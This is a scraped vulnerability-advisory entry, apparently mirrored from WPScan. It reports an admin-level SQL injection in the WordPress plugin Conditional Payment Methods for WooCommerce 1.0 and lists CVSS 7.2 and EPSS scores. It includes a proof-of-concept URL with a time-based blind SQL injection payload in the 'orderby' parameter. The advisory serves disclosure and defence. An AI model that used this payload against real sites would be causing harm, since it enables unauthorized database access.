Lucene search

Daniel KrohmerWPVDB-ID:FE1514B4-74E1-4C19-8741-C0D4DB9BAB99

HistoryDec 24, 2022 - 12:00 a.m.

Conditional Payment Methods for WooCommerce <= 1.0 - Admin+ SQLi

2022-12-2400:00:00

Daniel Krohmer

wpscan.com

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

16.9%

JSON

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by [high privilege users such as admin|users with a role as low as admin.

PoC

https://example.com/wp-admin/admin.php?page=wcpma-payment-settings&action;=wcpma_view_list&orderby;=1+AND+(SELECT+7394+FROM+(SELECT(SLEEP(5)))UrUZ)

CPENameOperatorVersion
conditional-payment-methods-for-woocommerceeq*

CPE	Name	Operator	Version
	conditional-payment-methods-for-woocommerce	eq	*

References

bulletin.iese.de/post/conditional-payment-methods-for-woocommerce_1-0/

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

16.9%

JSON

Related for WPVDB-ID:FE1514B4-74E1-4C19-8741-C0D4DB9BAB99